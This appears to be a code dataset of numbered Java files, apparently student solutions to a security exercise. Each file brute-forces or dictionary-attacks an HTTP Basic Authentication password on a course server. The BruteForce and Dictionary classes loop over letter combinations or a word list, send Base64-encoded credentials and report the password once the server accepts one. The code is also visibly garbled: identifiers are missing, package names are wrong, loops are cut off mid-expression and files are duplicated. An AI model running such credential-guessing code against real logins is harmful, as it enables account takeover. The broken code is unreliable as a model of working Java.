System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }" 105.java," import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String dictionary=""words""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println(""Finally I gotta it, password is : ""+pwd); System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds""); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println(""Dictionary not found.""); } catch(IOException e) { System.out.println(""Error dictionary""); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }",103.java," import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""*************************************************""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; startTime=System.currentTimeMillis(); for(int oneChar=0;oneChar= 0) { System.out.print(""These EXCEPTION passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = ""a""; strLetter[1] = ""b""; strLetter[2] = ""c""; strLetter[3] = ""d""; strLetter[4] = ""e""; strLetter[5] = ""f""; strLetter[6] = ""g""; strLetter[7] = ""h""; strLetter[8] = ""i""; strLetter[9] = ""j""; strLetter[10] = ""k""; strLetter[11] = ""l""; strLetter[12] = ""m""; strLetter[13] = ""n""; strLetter[14] = ""o""; strLetter[15] = ""p""; strLetter[16] = ""q""; strLetter[17] = ""r""; strLetter[18] = ""s""; strLetter[19] = ""t""; strLetter[20] = ""u""; strLetter[21] = ""v""; strLetter[22] = ""w""; strLetter[23] = ""x""; strLetter[24] = ""y""; strLetter[25] = ""z""; strLetter[26] = ""A""; strLetter[27] = ""B""; strLetter[28] = ""C""; strLetter[29] = ""D""; strLetter[30] = ""E""; strLetter[31] = ""F""; strLetter[32] = ""G""; strLetter[33] = ""H""; strLetter[34] = ""I""; strLetter[35] = ""J""; strLetter[36] = ""K""; strLetter[37] = ""L""; strLetter[38] = ""M""; strLetter[39] = ""N""; strLetter[40] = ""O""; strLetter[41] = ""P""; strLetter[42] = ""Q""; strLetter[43] = ""R""; strLetter[44] = ""S""; strLetter[45] = ""T""; strLetter[46] = ""U""; strLetter[47] = ""V""; strLetter[48] = ""W""; strLetter[49] = ""X""; strLetter[50] = ""Y""; strLetter[51] = ""Z""; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }",193.java," import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = """"; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = ""/usr/share/lib/dict/words""; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println(""Length of time for processing: "" + ((lngFinish - lngStart) / 1000) + "" seconds""); System.out.println(); System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile); System.out.println(); System.out.println(""Input file: number of words with one letter length = "" + intNumberOfOneLetterWords); System.out.println(""Input file: number of words with two letter length = "" + intNumberOfTwoLetterWords); System.out.println(""Input file: number of words with three letter length = "" + intNumberOfThreeLetterWords); System.out.println(); System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked); System.out.println(); System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print(""These passwords WERE ""); if (boolExceptionPasswordsTestedAgain) System.out.print(""tested again.""); else System.out.print(""NOT tested again.""); System.out.println(); } if (boolPasswordFound) { System.out.println(""The correct password WAS found - this password is '"" + strLastPasswordTested + ""'.""); } else { System.out.println(""The correct password WAS NOT found.""); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println(""The file '"" + TextFileName + ""' cannot found.""); System.out.println(); } catch(Exception e) { System.out.println(""Exception thrown....""); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + "":"" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print(""username = "" + username + "" "" + ""password = "" + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println("" response = "" + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println(""Malformed URL Exception error""); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println(""IOException error""); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println(""General exception.....""); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }" 052.java," import java.net.*; import java.io.*; import java.misc.*; public class BruteForce { public static void main (String args[]) { char[ ] var = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; String password; int m=0; for(int i=0; i<52; i++) { for(int j=0; j<52; j++) { for(int k=0; k<52; k++) { m++; password = """"; password = new String(""""+var[i]+var[j]+var[k]); String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", password,m ); } } } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int num ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = """"; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println(""password=""+Password+""; number:""+num); System.exit(0); } } catch (Exception e) { } } catch (MalformedURLException e) { return(url + "" is not a parseable URL""); } return retVal; } } ",053.java," import java.net.*; import java.io.*; import java.misc.*; public class Dictionary { public static void main (String args[]) { String file = ""/usr/share/lib/dict/words""; FileReader fRead; BufferedReader buf; try { fRead = new FileReader(file); buf = new BufferedReader(fRead); String Password = """"; int i=0; while( (Password = buf.readLine()) != null) { i++; String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", Password, i); } } catch(FileNotFoundException e) { System.out.println(""File not found""); } catch(IOException ioe) { System.out.println(""IO Error "" + ioe); } } public static String encode (String source) { BASE64Encoder enc = new source.misc.BASE64Encoder(); return(enc.encode(source.getBytes())); } public static String myurl (String url, String Name, String Password, int val ) { String thisLine; String retVal; URL u; URLConnection uc; retVal = """"; try { u = new URL(url); try { uc = u.openConnection(); if (Name != null) { uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password)); } InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader(content)); String line; while ((line = in.readLine()) != null) { retVal += line; System.out.println(line); System.out.println(""password=""+Password+"";number:""+num); System.exit(0); } } catch (Exception e) { ; } } catch (MalformedURLException e) { return(url + "" is not a parseable URL""); } return retVal; } } " 257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; 